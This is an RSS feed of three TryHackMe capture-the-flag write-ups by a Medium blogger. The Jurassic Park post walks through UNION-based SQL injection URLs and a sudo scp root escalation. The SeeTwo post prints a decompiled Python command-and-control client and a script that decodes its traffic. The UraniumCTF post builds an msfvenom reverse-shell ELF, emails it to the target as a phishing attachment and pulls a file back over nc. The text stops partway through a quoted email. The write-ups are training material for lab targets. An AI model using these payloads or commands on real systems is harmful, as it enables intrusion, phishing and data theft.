<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by stray0x1 on Medium]]></title>
        <description><![CDATA[Stories by stray0x1 on Medium]]></description>
        <link>https://medium.com/@stray0x1?source=rss-a1fe203a0af2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wh7dFluNxw8knb9N9ElSKg.png</url>
            <title>Stories by stray0x1 on Medium</title>
            <link>https://medium.com/@stray0x1?source=rss-a1fe203a0af2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:05:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@stray0x1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Jurassic Park (tryhackme) writeup]]></title>
            <link>https://medium.com/@stray0x1/jurassic-park-tryhackme-writeup-84e291b09c3e?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/84e291b09c3e</guid>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Fri, 07 Mar 2025 16:32:29 GMT</pubDate>
            <atom:updated>2025-03-07T16:32:29.184Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*LLlZA6UCByxutDohp7Jzjg.png" /></figure><p>Starting with the usual nmap shows us 2 open ports, 22 and 80.</p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 1b:cc:70:1a:bf:1f:63:90:5f:c5:90:dc:ec:16:42:ba (RSA)<br>|   256 0f:70:bb:78:cb:87:44:a6:31:2e:f8:1a:49:63:a8:d4 (ECDSA)<br>|_  256 5b:4e:50:79:26:5c:25:e2:66:02:7d:43:7d:ae:d7:0a (ED25519)<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-favicon: Unknown favicon MD5: 019A6B943FC3AAA6D09FBA3C139A909A<br>|_http-title: Jarassic Park<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>Dennis</h3><p>Checking the website, we find a online shop which sells tickets for the park.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*6Uyrh1dfd9s9H3mfr_jjiQ.png" /></figure><p>Fuzzing for files and directories reveals a file called delete:</p><pre>New priv esc for Ubunut??<br><br>Change MySQL password on main system!</pre><p>Let’s keep this in mind and check the shop next:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MECymmxMH5HM0i6IML_F3A.png" /></figure><p>Notice that the url when clicking a buy link looks like this:</p><pre>http://10.10.63.147/item.php?id=3</pre><p>So it’s natural to look for SQL injections here. But using “ ‘ ” sends us to a blocker:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*oOIO9sRoEit6shG1OWe5bA.png" /></figure><p>On the bottom of the page we find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*vXqZJbbWVM-gtdhmZG8f6Q.png" /></figure><p>But omitting this, we can see that there is indeed a SQLi vuln:</p><pre>http://10.10.63.147/item.php?id=1%20AND%201=1<br>this returns the normal page<br><br>http://10.10.63.147/item.php?id=1%20AND%201=2<br>this returns &#39;no results found&#39;</pre><h4>Enumerating the db</h4><p>First we need to find out how many columns the table we’re in has:</p><pre>http://10.10.63.147/item.php?id=1%20ORDER%20BY%206<br># ORDER BY 6 is the first one to throw an error, so we have 5 columns</pre><p>Now that we know that we have 5 columns, let’s see which ones are visible on the page:</p><pre>http://10.10.63.147/item.php?id=0%20UNION%20SELECT%201,2,3,4,5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*614TNGcDN1VshVL_CNYEeg.png" /></figure><p>So we can see that 2 is the name of the package, 3 is the price, 4 is the description of the package and 5 is how many packages were sold in the last hour.<br>Let’s begin extracting some information. First I want to know the database name, the user and the version of mysql. I also want to know the table name:</p><pre>http://10.10.63.147/item.php?id=0%20UNION%20SELECT%201,database(),version(),user(),table_name%20FROM%20information_schema.tables%20WHERE%20table_schema=database()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FI2b5uA1NEgR4Je0_HPtiw.png" /></figure><p>So the table is called ‘users’, we run version 5.7.25 and the db is called park. Also, this runs as root on ubuntu 16.04.</p><p>Let’s get the column names so we can read some information, users sounds promising:</p><pre>http://10.10.63.147/item.php?id=0%20UNION%20SELECT%201,column_name,column_name,column_name,column_name%20FROM%20information_schema.columns%20WHERE%20table_name=%22users%22</pre><p>Weirdly, this just returns TOTAL_CONNECTIONS, but using a group_concat and receiving the column names in a single field works:</p><pre>http://10.10.63.147/item.php?id=0%20UNION%20SELECT%201,GROUP_CONCAT(column_name),3,4,5%20FROM%20information_schema.columns%20WHERE%20table_name=%22users%22</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fo2fH7uLucaJL074SGxbA.png" /></figure><p>Using the word username throws us back to the blocker, but we can get the password:</p><pre>http://10.10.63.147/item.php?id=0%20UNION%20SELECT%201,2,password,4,5%20FROM%20users</pre><p>But this doesn’t work for root ssh access, so we’ll have to find a way to get the username.</p><p>I got stuck here for a bit. I know the username is Dennis from the questions on tryhackme but there must be a way to enumerate this. After no luck with enumerating the username from the db I went back and enumerated the other parts again, and fuzzing the parameter worked:</p><pre>sudo ffuf -u &quot;http://10.10.63.147/item.php?id=FUZZ&quot; -w numbers.txt<br><br>4                       [Status: 200, Size: 81, Words: 6, Lines: 2, Duration: 58ms]<br>6                       [Status: 200, Size: 81, Words: 6, Lines: 2, Duration: 58ms]<br>1                       [Status: 200, Size: 1755, Words: 324, Lines: 64, Duration: 58ms]<br>3                       [Status: 200, Size: 1713, Words: 315, Lines: 64, Duration: 58ms]<br>10                      [Status: 200, Size: 81, Words: 6, Lines: 2, Duration: 62ms]<br>7                       [Status: 200, Size: 81, Words: 6, Lines: 2, Duration: 62ms]<br>11                      [Status: 200, Size: 81, Words: 6, Lines: 2, Duration: 62ms]<br>2                       [Status: 200, Size: 1751, Words: 321, Lines: 64, Duration: 62ms]<br>8                       [Status: 200, Size: 81, Words: 6, Lines: 2, Duration: 62ms]<br>5                       [Status: 200, Size: 1669, Words: 308, Lines: 64, Duration: 62ms]</pre><p>As you can see we missed the page with the parameter 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pi4rIguRjf-uZc6w3AWIoA.png" /></figure><p>Alright so this is where we get the username, now we can SSH to the box with the credentials we found.</p><h3>Root</h3><p>If I have a password for a user, I always check sudo -l first:</p><pre>dennis@ip-10-10-63-147:~$ sudo -l<br>Matching Defaults entries for dennis on ip-10-10-63-147.eu-west-1.compute.internal:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User dennis may run the following commands on ip-10-10-63-147.eu-west-1.compute.internal:<br>    (ALL) NOPASSWD: /usr/bin/scp</pre><p>Checking for scp on gtfobins:</p><p><a href="https://gtfobins.github.io/gtfobins/scp/">https://gtfobins.github.io/gtfobins/scp/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*GoDufYiWT6Lm01jPpGTqQw.png" /></figure><p>Using this, we get the root shell.</p><h3>Finding flags</h3><p>The first flag is in Dennis’ home folder, the fifth one in /root. But we’re missing flag 2 and 3. The find command doesn’t find the missing 2 flags, so let’s look around. In the ubuntu home folder there is a .viminfo file which contains flag #2. Checking the home folder of dennis again, there is a bash history file, which is usually empty in CTFs. In there, we can find the third and last flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*sX93IbhQH90_qgi5sxxcaw.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84e291b09c3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SeeTwo (tryhackme) writeup]]></title>
            <link>https://medium.com/@stray0x1/seetwo-tryhackme-writeup-07590143dd6a?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/07590143dd6a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-seetwo]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Sun, 03 Nov 2024 20:40:04 GMT</pubDate>
            <atom:updated>2024-11-03T21:09:22.953Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*2cY--0uI5Xp4yV5Kmo_JHA.png" /><figcaption><a href="https://tryhackme.com/r/room/seetworoom">https://tryhackme.com/r/room/seetworoom</a></figcaption></figure><blockquote>You are tasked with looking at some suspicious network activity by your digital forensics team.</blockquote><blockquote>The server has been taken out of production while you analyze the suspicious behavior.</blockquote><blockquote>Click on the <strong>Download Task Files</strong> button at the top of this task. You will be provided with an <strong>evidence.zip</strong> file.</blockquote><blockquote>Extract the zip file’s contents and begin your analysis in order to answer the questions.</blockquote><blockquote><strong>Note:</strong> For free users using the AttackBox, the challenge is best done using your own environment. Some browsers may detect the file as malicious. The zip file is safe to download with md5 of ea6f0bf505f87d18c9881de055b63ed3. In general, as a security practice, download the zip and analyze the forensic files on a dedicated virtual machine, and not on your host OS.</blockquote><p>First off: beautiful image for this room. But let’s start digging into the files. Download and unzip the files. This gives us a .pcapng file. Load this into wireshark to begin investigating.</p><p>I like to begin with statistics -&gt; protocol hierarchy to get an idea of the traffic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zL9xkl5ku5avAM9qTN_hYw.png" /></figure><p>As you can see, most of the sent bytes are sent via HTTP, which is good because this means we can see the traffic even with no means to decrypt. Next, let’s check statistics -&gt; conversations to see how many IP addresses we’re dealing with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zDCxP04tW1fACddo2iZfmA.png" /></figure><p>We find only 2. Checking the first few packets back in the main window of wireshark, we can see a GET request for a file called base64_client:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*7Pzvs9ZRfA7WaSPg10-n2g.png" /></figure><p>We can save this easily via File -&gt; export object -&gt; HTTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*og90jS65NMaXuFTQzjjVdg.png" /></figure><p>Save this to your box. Because the filename is base64_client and the room is named SeeTwo (C2), it’s reasonable to think that this is a base64 encoded C2 (command and control) client. Before investigating any further, we need to decode the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*XlKcYrSbZkKdmo2JI6p59w.png" /></figure><p>Running file on the client:</p><pre>└─$ file client                                 <br>client: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7714ff204a0a7dcd042276bab94a99bad4d276f0, for GNU/Linux 2.6.32, stripped</pre><p>Alright, let’s have a look at this in ghidra. After importing and analyzing the file, we find a lof of functions. I think this is a very good spot to run into a rabbithole, so let’s start from the beginning and stay focused. It’s very unlikely that we’re expected to reverse the whole binary in a medium room. So let’s look for some hints on how to proceed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*lGPmgqndlvele3jm7UNn2Q.png" /></figure><p>Checking local_10, which is the likely entry point for this client:</p><pre>void processEntry entry(undefined8 param_1,undefined8 param_2)<br><br>{<br>  undefined auStack_8 [8];<br>  <br>  __libc_start_main(thunk_FUN_00403e50,param_2,&amp;stack0x00000008,FUN_004086a0,FUN_00408710,param_1,<br>                    auStack_8);<br>  do {<br>                    /* WARNING: Do nothing block with infinite loop */<br>  } while( true );<br>}</pre><p>So we’re calling libc_start_main. `thunk_FUN_00403e50` should be the called function and FUN_004086a0/FUN_00408710 some arguments?</p><p>Checking thunk_Fun_00403e50 shows this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*aLRiSlIzmu40BMM4dVh7zA.png" /></figure><p>Remember that we’re looking for hints? Those could be an indicator. googling the first one, (MEIPASS) lead me to this stackoverflow question:</p><p><a href="https://stackoverflow.com/questions/44013168/what-does-meipass-stand-for">What does &quot;MEIPASS&quot; stand for?</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*Pl-fHb743O_E8eoaHCtA_Q.png" /></figure><p>So we know that this string comes from PyInstaller. Googling wether we can extract the code more easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*AZtZJwmLhJ01tfsFggoQNg.png" /></figure><p>Shows us this as the first result:</p><p><a href="https://github.com/extremecoders-re/pyinstxtractor">GitHub - extremecoders-re/pyinstxtractor: PyInstaller Extractor</a></p><p>Use git clone to get the repo. Now we can CD into it and run it on the client:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oWXzzLgyu-IPUvqXOP1pxg.png" /></figure><p>This gives us some .pyc files which we will need to decompile. The repo suggests 2 programs for this, I used the first one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*Z9UG_90LOA6ahTZBXrJiOg.png" /></figure><p><a href="https://github.com/rocky/python-uncompyle6/">GitHub - rocky/python-uncompyle6: A cross-version Python bytecode decompiler</a></p><p>We can simply install this with pip:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*i4maI-fiC4Wk2psbxzLoXQ.png" /></figure><p>Pyinstxtractor found 2 possible entrypoints, let’s start with client.pyc:</p><pre>└─$ uncompyle6 client_extracted/client.pyc <br># uncompyle6 version 3.9.2<br># Python bytecode version base 3.8.0 (3413)<br># Decompiled from: Python 3.12.6 (main, Sep  7 2024, 14:20:15) [GCC 14.2.0]<br># Embedded file name: client.py<br>import socket, base64, subprocess, sys<br>HOST = &quot;10.0.2.64&quot;<br>PORT = 1337<br><br>def xor_crypt(data, key):<br>    key_length = len(key)<br>    encrypted_data = []<br>    for i, byte in enumerate(data):<br>        encrypted_byte = byte ^ key[i % key_length]<br>        encrypted_data.append(encrypted_byte)<br>    else:<br>        return bytes(encrypted_data)<br><br><br>with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>    s.connect((HOST, PORT))<br>    while True:<br>        received_data = s.recv(4096).decode(&quot;utf-8&quot;)<br>        encoded_image, encoded_command = received_data.split(&quot;AAAAAAAAAA&quot;)<br>        key = &quot;MySup3rXoRKeYForCommandandControl&quot;.encode(&quot;utf-8&quot;)<br>        decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode(&quot;utf-8&quot;)), key)<br>        decrypted_command = decrypted_command.decode(&quot;utf-8&quot;)<br>        result = subprocess.check_output(decrypted_command, shell=True).decode(&quot;utf-8&quot;)<br>        encrypted_result = xor_crypt(result.encode(&quot;utf-8&quot;), key)<br>        encrypted_result_base64 = base64.b64encode(encrypted_result).decode(&quot;utf-8&quot;)<br>        separator = &quot;AAAAAAAAAA&quot;<br>        send = encoded_image + separator + encrypted_result_base64<br>        s.sendall(send.encode(&quot;utf-8&quot;))<br><br># okay decompiling client_extracted/client.pyc</pre><p>Alright, this is what we were looking for. Reading over it, the script does the following things:</p><ol><li>Define a HOST and Port (10.0.2.64:1337)</li></ol><p>2. Define a XOR_crypt function.</p><p>3. Connect to the host</p><p>4. Receive 4096 bytes and decode them (Wireshark displays this as HEX for readability, so we’ll need to hex decode later)</p><p>5. Then split the data into encoded image (before the ‘AAAAAAAAAA’ delimiter) and encoded command (after the delimiter).</p><p>6. decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode(“utf-8”)), key) does 2 things. Base64 decoding and XOR decoding with the key ‘MySup3rXoRKeYForCommandandControl’</p><p>7. run the command in a shell and assign it to result</p><p>8. XOR the result with the key</p><p>9. Add the image we’ve seen earlier and the base64 encoded result together</p><p>10. send the image and the results, seperated by the delimiter (AAAAAAAAAA)</p><p>So we know what to do now: Grab all traffic from and to port 1337 and decode it like this:</p><ol><li>Hex decode</li><li>Discard the image (before the delimiter) and the delimiter itself</li><li>Base64 and XOR decode the part after the delimiter</li><li>profit</li></ol><p>First, we’ll need to get the data. Back in wireshark, use this filter to get everything relevant:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/176/1*bD2KFvyeGnCQjaK74IUiyg.png" /></figure><p>Now rightclick the first packet and use follow -&gt; tcpstream. In the bottom of the new windows, set ‘show data as’ to raw and save it to a file.</p><p>Looking at the new file shows that we have several blocks. Each block represents a received command or sent result. So get a nice overview of the commands and results we’ll need to keep the blocks and handle each one seperatly. To handle the decryption you can use the following python script:</p><pre>import sys<br>import base64<br><br>def read_blocks(file_path):<br>    with open(file_path, &#39;r&#39;) as file:<br>        blocks = [line.strip() for line in file if line.strip()]<br>    return blocks<br><br>def hex_decode(data):<br>    try:<br>        decoded_data = bytes.fromhex(data)<br>        return decoded_data<br>    except ValueError as e:<br>        print(&quot;Error during hex decoding:&quot;, e)<br>        return None<br><br>def xor_decrypt(data, key):<br>    key_length = len(key)<br>    decrypted_data = bytearray()<br>    for i, byte in enumerate(data):<br>        decrypted_data.append(byte ^ key[i % key_length])<br>    return bytes(decrypted_data)<br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 3:<br>        print(&quot;Usage: python decode_hex_blocks.py &lt;input_file&gt; &lt;output_file&gt;&quot;)<br>        sys.exit(1)<br><br>    input_file = sys.argv[1]<br>    output_file = sys.argv[2]<br>    key = &quot;MySup3rXoRKeYForCommandandControl&quot;.encode(&quot;utf-8&quot;)<br>    blocks = read_blocks(input_file)<br><br>    with open(output_file, &#39;wb&#39;) as out_file:<br>        for i, block in enumerate(blocks):<br>            decoded_data = hex_decode(block)<br>            if decoded_data:<br>                # Remove data before the delimiter and the delimiter itself<br>                delimiter = b&quot;AAAAAAAAAA&quot;<br>                if delimiter in decoded_data:<br>                    decoded_data = decoded_data.split(delimiter, 1)[-1]<br>                <br>                try:<br>                    b64_decoded_data = base64.b64decode(decoded_data)<br>                    decrypted_data = xor_decrypt(b64_decoded_data, key)<br>                    out_file.write(decrypted_data)<br>                    out_file.write(b&quot;\n\n&quot;)  # Add an empty line between blocks<br>                    print(f&quot;Block {i} decoded and added to {output_file}&quot;)<br>                except (base64.binascii.Error, ValueError) as e:<br>                    print(f&quot;Error decoding or decrypting block {i}:&quot;, e)<br>            else:<br>                print(f&quot;Failed to decode block {i}.&quot;)</pre><p>Now run this file like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*xVYgtJpsh30LlPh1HVdr7A.png" /></figure><p>This will save all commands and results into output.txt. Now we can use this file so answer all of the questions.</p><p>(Hint: The last 2 commands contain the flag in base64)</p><h3>Conclusion</h3><p>Another really great box around analyzing and decoding traffic from a pcap file. Really enjoyable.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07590143dd6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UraniumCTF (tryhackme) writeup]]></title>
            <link>https://medium.com/@stray0x1/uraniumctf-tryhackme-writeup-c1f59a24320f?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1f59a24320f</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Fri, 25 Oct 2024 12:36:01 GMT</pubDate>
            <atom:updated>2024-10-25T12:36:01.482Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*TG0QqaBvYeJ4uaEgIkFmew.png" /></figure><blockquote>We have reached out a account one of the employees [hakanbey](<a href="https://twitter.com/hakanbe40520689">https://twitter.com/hakanbe40520689</a>)<br>In this room, you will learn about one of the phishing attack methods. I tried to design a phishing room (cronjobs and services) as much as I could.<br>Special Thanks to kral4 for helping us to make this room <br>Note: Please do not attack the given twitter account.</blockquote><p>Checking the linked twitter profile:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*u8U0hMXEjikd716dtrrFsw.png" /></figure><p>This gives us an email adrdress and the information that a sent file named ‘application’ will be opened and reviewed. Before proceeding, add the domain to /etc/hosts.</p><p>Although it seems like we’re supposed to send the user a malicious attachement, let’s enumerate the system some more. Begin with nmap:</p><pre># Nmap 7.94SVN scan initiated Thu Oct 24 23:45:42 2024 as: nmap -sC -sV -v -oN nmap uranium.thm<br>Nmap scan report for uranium.thm (10.10.187.179)<br>Host is up (0.059s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 a1:3c:d7:e9:d0:85:40:33:d5:07:16:32:08:63:31:05 (RSA)<br>|   256 24:81:0c:3a:91:55:a0:65:9e:36:58:71:51:13:6c:34 (ECDSA)<br>|_  256 c2:94:2b:0d:8e:a9:53:f6:ef:34:db:f1:43:6c:c1:7e (ED25519)<br>25/tcp open  smtp    Postfix smtpd<br>| ssl-cert: Subject: commonName=uranium<br>| Subject Alternative Name: DNS:uranium<br>| Issuer: commonName=uranium<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-04-09T21:40:53<br>| Not valid after:  2031-04-07T21:40:53<br>| MD5:   293d:bef3:2fee:6092:c0d7:2a67:ea27:367c<br>|_SHA-1: 0a0c:26e0:ae3c:723e:538d:3c21:6b40:c84c:f9e7:8fdb<br>|_ssl-date: TLS randomness does not represent time<br>|_smtp-commands: uranium, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Uranium Coin<br>| http-methods: <br>|_  Supported Methods: POST OPTIONS HEAD GET<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: Host:  uranium; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>I checked for files/directories and subdomains while checking out the page, but this returns nothing. The webpage is also just a simple static site. Let’s send a malicious attachement to the twitter user. We could use gophish for this, but to be honest it seems like an overkill for a single user, so let’s use sendEmail.</p><h3>User 1</h3><p>First we need to think about our payload. Usually I’d craft a malicious word macro executing some powershell. But checking the twitter account, we see a screenshot of the users desktop, showing that he runs kali (logo on the top left). Weird. Let’s generate a simple .elf reverse shell:</p><pre>msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.11.72.104 LPORT=9001 -f elf -o application</pre><p>First open a listener on port 9001, then send the email:</p><pre>#terminal 1<br>sudo nc -lvnp 9001<br>#terminal 2<br>sendEmail -f applicant@ITCompany.com -t hakanbey@uranium.thm -u &quot;Application&quot; -m &quot;Application&quot; -a application -s uranium.thm -v</pre><p>But this ran into an error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zaoCJ5D4xt8ziD-FRTxm4g.png" /></figure><p>To fix this, check the help of sendEmail:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*m1iDAz-tfHPNdEeM2FGDoA.png" /></figure><p>So we can simply turn this off with -o tls=no:</p><pre>sendEmail -f applicant@ITCompany.com -t hakanbey@uranium.thm -u &quot;Application&quot; -m &quot;Application&quot; -a application -s uranium.thm -v -o tls=no</pre><p>This pops a revshell. Before enumerating the system further, let’s upgrade the shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*9Sv2mhvIcVMyIWajZrbV2Q.png" /></figure><h3>User 2</h3><p>Checking /etc/passwd shows that there are 3 other users on the system. kral4, web and root.</p><p>Looking around the homedir of hakanbey:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*0yuo5zZ67Zc1sn_sXefQHw.png" /></figure><p>The most interesting thign was chat_with_kral4. Expecting it to be some kind of log, I used cat but this flooded the screen with gibberish, this is a binary and not a log. Using file confirms this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yUjqjAsUDFsHGaSxb80ByA.png" /></figure><p>Once executed, the bin asks for a password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*c4OSbY6_saSfzqztqP3vfw.png" /></figure><p>Let’s move the file to our attackbox for further analysis:</p><pre># on the attackbox:<br>sudo nc -lvnp 9002 &gt; chat <br># on the victim:<br># -q 1 closes the connection 1 second after the transmission finished<br>nc -q 1 10.11.72.104 9002 &lt; chat_with_kral4</pre><p>Before doing this, I uploaded linpeas and ran it in the background. This returned 2 interesting things:</p><ol><li>an open port accessible only from localhost:</li></ol><pre>tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN      - </pre><p>2. a binary with SUID bit set:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*-djoXXab_V7rhJlAqGp0iQ.png" /></figure><p>But this is only accessible to kral4, so let’s put this to the side for later.</p><h4>Analyzing the chat binary</h4><p>I loaded the binary into ghidra and started to check the decompiled main method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*yjmQbvitnxy9z45MUuVb9g.png" /></figure><p>Checks if the int casted value of param_1 is 0. If it is, it starts the _Pyx_main function, so let’s check this.</p><p>It basically initializes python, sets some commandline arguments and sets up a client:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*2FdIeG1E2Dd7kkkCB_6CcQ.png" /></figure><p>Let’s follow the flow and check _pyx_pymod_exec_client. Skimming through the code shows that we’re setting some tuples. One looks like a connection to localhost port 1234:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*2A2Px_gZCY0gUCjoljMUaA.png" /></figure><p>Remember that we’ve seen this port to be open? This likely means that the password is sent to localhost port 1234 (the server) and checked server side. Let’s confirm this:</p><p>Trying to execute the binary resulted in an erro for me:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3eCxGevbdoY1FfVrAAmUbA.png" /></figure><p>We can prevent this with downloading and installing python 3.9 (you can figure this out). Then modify the LD_LIBRARY_PATH like this:</p><pre>export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH</pre><p>Now we can execute this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*aCwrQXdadgrTbZhaaJv3SA.png" /></figure><p>Opening a dummy server with python let’s us progress tho:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcFan4zB2BhiEzTUh65jrg.png" /></figure><p>So it looks like this is indeed communicating with port 1234, leaving us in a dead end. Let’s go back to enumerate the box some more.</p><h3>User 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*edaJINY1x5g7zVi55OV5Aw.png" /></figure><p>This looks interesting, transfer it to the attackbox to open this with wireshark. Using follow -&gt; TCPstream shows this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*YGXsk3BG_XWu6d44OATMtg.png" /></figure><p>The string on top looks out of place. Checking if this is the password works, we can run the chat app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*9r4eqNh_y30MuJf5lFCOOQ.png" /></figure><p>Awesome. Now we can SSH into the box to have a more stable connection. Also this allows us to run sudo -l:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-bZmHbpq04dSuhjSOLp1PA.png" /></figure><p>Okay so we can simply run sudo -u kral4 /bin/bash to get access as kral4.</p><h3>root</h3><p>The home folder of kral4 .local directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*vmXSQuuMfui5mUMyv3_gpw.png" /></figure><p>Inside there is a share folder which contains an empty nano folder. Strange.</p><p>Checking the /var/mail folder allows us to read an email:</p><pre>kral4@uranium:/var/mail$ cat kral4 <br>From root@uranium.thm  Sat Apr 24 13:22:02 2021<br>Return-Path: &lt;root@uranium.thm&gt;<br>X-Original-To: kral4@uranium.thm<br>Delivered-To: kral4@uranium.thm<br>Received: from uranium (localhost [127.0.0.1])<br>        by uranium (Postfix) with ESMTP id C7533401C2<br>        for &lt;kral4@uranium.thm&gt;; Sat, 24 Apr 2021 13:22:02 +0000 (UTC)<br>Message-ID: &lt;841530.943147035-sendEmail@uranium&gt;<br>From: &quot;root@uranium.thm&quot; &lt;root@uranium.thm&gt;<br>To: &quot;kral4@uranium.thm&quot; &lt;kral4@uranium.thm&gt;<br>Subject: Hi Kral4<br>Date: Sat, 24 Apr 2021 13:22:02 +0000<br>X-Mailer: sendEmail-1.56<br>MIME-Version: 